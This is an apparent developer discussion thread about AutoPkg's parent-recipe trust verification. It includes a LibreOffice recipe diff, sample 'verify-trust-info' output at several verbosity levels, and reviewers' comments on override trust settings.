 <dict>

  <key>Description</key>

- <string>Downloads the latest LibreOffice.</string>

+ <string>Downloads the latest LibreOffice. Set RELEASE to either "fresh" or "still".

+

+LibreOffice Still is the stable version that has undergone more testing (over a longer time). It is usually recommended for more conservative use.

+LibreOffice Fresh is the stable version with the most recent features. Users interested in taking advantage of our most innovative features should download and use our fresh version.</string>

  <key>Identifier</key>

  <string>io.github.hjuutilainen.download.LibreOffice</string>

  <key>Input</key>

  <dict>

  <key>NAME</key>

  <string>LibreOffice</string>

- <key>TYPE</key>

- <string>mac-x86_64</string>

- <key>USER_AGENT</key>

- <string>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.28.10 (KHTML, like Gecko) Version/6.0.3 Safari/536.28.10</string>

+ <key>RELEASE</key>

+ <string>fresh</string>

  </dict>

  <key>MinimumVersion</key>

  <string>0.2.0</string>

@@ -21,11 +22,13 @@

  <array>

  <dict>

  <key>Processor</key>

- <string>LibreOfficeURLProvider</string>

+ <string>URLTextSearcher</string>

  <key>Arguments</key>

  <dict>

- <key>type</key>

- <string>%TYPE%</string>

+ <key>re_pattern</key>

+ <string>(?P&lt;DOWNLOAD_URL&gt;download.documentfoundation.org/libreoffice/stable/[\d\.]+/mac/x86_64/LibreOffice_(?P&lt;version&gt;[\d\.]+)_MacOS_x86-64.dmg)</string>

+ <key>url</key>

+ <string>https://www.libreoffice.org/download/libreoffice-%RELEASE%/?type=mac-x86_64</string>

  </dict>

  </dict>

  <dict>

@@ -33,11 +36,8 @@

  <string>URLDownloader</string>

  <key>Arguments</key>

  <dict>

- <key>request_headers</key>

- <dict>

- <key>user-agent</key>

- <string>%USER_AGENT%</string>

- </dict>

+ <key>url</key>

+ <string>https://%DOWNLOAD_URL%</string>

  </dict>

  </dict>

  <dict>

Our stored checksum for parent recipe io.github.hjuutilainen.munki.LibreOffice does not match the current content of that recipe.

Perhaps parent recipe io.github.hjuutilainen.munki.LibreOffice has been changed.

Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.munki.recipe

diff --git a/LibreOffice/LibreOffice.munki.recipe b/LibreOffice/LibreOffice.munki.recipe

index b60ec1c..6205d83 100644

--- a/LibreOffice/LibreOffice.munki.recipe

+++ b/LibreOffice/LibreOffice.munki.recipe

@@ -3,13 +3,18 @@

 <plist version="1.0">

 <dict>

  <key>Description</key>

- <string>Downloads the current release version of LibreOffice and imports into Munki.</string>

+ <string>Downloads the current release version of LibreOffice and imports into Munki. Set RELEASE to either "fresh" or "still".

+

+LibreOffice Still is the stable version that has undergone more testing (over a longer time). It is usually recommended for more conservative use.

+LibreOffice Fresh is the stable version with the most recent features. Users interested in taking advantage of our most innovative features should download and use our fresh version.</string>

  <key>Identifier</key>

  <string>io.github.hjuutilainen.munki.LibreOffice</string>

  <key>Input</key>

  <dict>

  <key>NAME</key>

  <string>LibreOffice</string>

+ <key>RELEASE</key>

+ <string>fresh</string>

  <key>MUNKI_REPO_SUBDIR</key>

  <string>apps/LibreOffice</string>

  <key>MUNKI_CATEGORY</key>

This is probably too much data and would be overwhelming for many people; I think I should probably display less detail by default and use the -v/--verbose flag to provide more detail.

But it does let us know these things:

1) A parent used a non-core processor named "LibreOfficeURLProvider"; the updated recipe no longer does.

2) The parent LibreOffice.download.recipe and LibreOffice.munki.recipe recipes have changed:

a) the LibreOffice.download.recipe replaces the use of the non-core LibreOfficeURLProvider processor with the core URLTextSearcher processor.

b) other changes consistent with the above change

Note that I would not have had to explicitly verify the trust info; I would get the same info if I had tried to run any of the affected recipes:

autopkg run LibreOffice.munki

Processing LibreOffice.munki...

Failed.

The following recipes failed:

    LibreOffice.munki

        Could not verify trust of parent recipes and custom processors:

Expected non-core processor list: [u'LibreOfficeURLProvider']

Actual non-core processor list: []

<etc>

This mechanism makes it possible for autopkg admins to be notified when there are parent recipe changes the admin should probably pay attention to, without overwhelming him/her with irrelevant changes.

[Tim Sutton]

While I haven't yet had a chance to try out this new branch, what I like about this approach is that leaves the responsibility of trust with the AutoPkg admin.

To me it's analogous to the various programming language package managers' support for managing a package dependency that resides in a Git repo, but pinned to a particular point in time.

While perhaps there could be ways to show more/less info so that it's not overwhelming, at least the capability is there to ensure that you're running the recipes you think you are, and to make an explicit commitment that you trust the parent recipe chain at any given point in time.

Tim

[Gregory Neagle]

Added support for -v when verifying trust info. The default level provide a very basic overview of the changes:

autopkg verify-trust-info LibreOffice.munki 
Parent trust info verification failed for LibreOffice.munki

Could not verify trust of parent recipes and custom processors:
    Expected non-core processor list: [u'LibreOfficeURLProvider']
    Actual non-core processor list: []

    Processor LibreOfficeURLProvider differs from expected.
    Processor LibreOfficeURLProvider can't be found.
    Parent recipe io.github.hjuutilainen.download.LibreOffice differs from expected.
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.download.recipe
    Parent recipe io.github.hjuutilainen.munki.LibreOffice differs from expected.
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.munki.recipe

One -v adds some checksum info (I don't really know if this is actually useful):

autopkg verify-trust-info LibreOffice.munki -v
Parent trust info verification failed for LibreOffice.munki

Could not verify trust of parent recipes and custom processors:
    Expected non-core processor list: [u'LibreOfficeURLProvider']
    Actual non-core processor list: []

    Processor LibreOfficeURLProvider differs from expected.
    Expected checksum: 77d0c983825fed168a856e63355deefd90f101483325ce669b32fa54c7feec91
    Actual checksum: None
    Processor LibreOfficeURLProvider can't be found.
    Parent recipe io.github.hjuutilainen.download.LibreOffice differs from expected.
    Expected checksum: 28d04d55de407b29f561b2000e53e5b47e3e149aa865c3659b5af610099ff263
    Actual checksum: e6adc0690acbb6061ed86c7ca5093bd2ff94d6518aaa7d4798176297527a4380
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.download.recipe
    Parent recipe io.github.hjuutilainen.munki.LibreOffice differs from expected.
    Expected checksum: f431d09a84ec72bf9528ed039b73e068b1f5c0c231ee8f72f158f5ebd40d6a4d
    Actual checksum: 6629394ea06504bd72c3ef9630f041f834b5092481a20d1d9c62aa1515f46241
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.munki.recipe

Two -vv options adds Git diffs if available:

autopkg verify-trust-info LibreOffice.munki -vv
Parent trust info verification failed for LibreOffice.munki

Could not verify trust of parent recipes and custom processors:
    Expected non-core processor list: [u'LibreOfficeURLProvider']
    Actual non-core processor list: []

    Processor LibreOfficeURLProvider differs from expected.
    Expected checksum: 77d0c983825fed168a856e63355deefd90f101483325ce669b32fa54c7feec91
    Actual checksum: None
    Processor LibreOfficeURLProvider can't be found.
    Parent recipe io.github.hjuutilainen.download.LibreOffice differs from expected.
    Expected checksum: 28d04d55de407b29f561b2000e53e5b47e3e149aa865c3659b5af610099ff263
    Actual checksum: e6adc0690acbb6061ed86c7ca5093bd2ff94d6518aaa7d4798176297527a4380

    Parent recipe io.github.hjuutilainen.munki.LibreOffice differs from expected.
    Expected checksum: f431d09a84ec72bf9528ed039b73e068b1f5c0c231ee8f72f158f5ebd40d6a4d
    Actual checksum: 6629394ea06504bd72c3ef9630f041f834b5092481a20d1d9c62aa1515f46241

[Gregory Neagle]

Changed my mind. No -v's product this output:

autopkg verify-trust-info LibreOffice.munki
Parent trust info verification failed for LibreOffice.munki

a single -v:

autopkg verify-trust-info LibreOffice.munki -v
Parent trust info verification failed for LibreOffice.munki

    Expected non-core processor list: [u'LibreOfficeURLProvider']
    Actual non-core processor list: []
    Processor LibreOfficeURLProvider differs from expected.
    Processor LibreOfficeURLProvider can't be found.
    Parent recipe io.github.hjuutilainen.download.LibreOffice differs from expected.
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.download.recipe
    Parent recipe io.github.hjuutilainen.munki.LibreOffice differs from expected.
    Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.munki.recipe

Two -vs would have the above output plus the Git diff if available.

-Greg

[Erik Gomez]

Again, this all looks great. I sadly haven't had time to test this but I hope to soon. 

Thanks for all of your work on this. 

[Erik]

So I've had a little bit of time to test and here are a few thoughts:

1. Old overrides won't have trust information. 

./autopkg verify-trust-info AdobeFlashPlayer.munki

AdobeFlashPlayer.munki: NO TRUST INFO

Currently an autopkg run will not warn the admin that the override doesn't contain trust information.

2. Perhaps a new preference: RequireOverrideTrustInfo. If someone attempts to remove the trust information from an override, autopkg will refuse to run that particular override. Perhaps this key would also require each recipe that is ran to have an override, containing the trust info. You would not be able to run the default recipes.

3. The git diffs will only work if you are using autopkg repo-add. If you are managing repos and ignoring each recipe repo's own git information, this information will not be generated. I think for the few people doing something like this, that will be OK.

Other than that, it looks really good.

-Greg